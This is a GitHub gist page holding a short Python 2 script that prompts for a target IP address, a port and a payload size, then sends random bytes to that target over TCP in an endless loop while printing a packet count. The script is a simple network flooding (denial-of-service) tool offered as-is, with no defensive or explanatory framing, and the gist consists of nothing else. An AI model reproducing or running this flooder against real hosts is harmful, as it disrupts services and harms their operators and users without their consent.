Created
February 27, 2014 12:21
-
-
Save AnimeshShaw/9249059 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import random | |
sent=0 | |
socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
ip=raw_input('Target IP Address: ') | |
port=input("Please enter a port: ") | |
num_bytes=input('Please enter data size in bytes: ') | |
bytes=random._urandom(num_bytes) | |
addr=(ip,port) | |
socket.connect(addr) | |
socket.settimeout(None) | |
while True: | |
socket.sendto(bytes,(ip,port)) | |
print ('Sent %s TCP Packets to %s at port %d') % (sent,ip,port) | |
sent=sent+1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment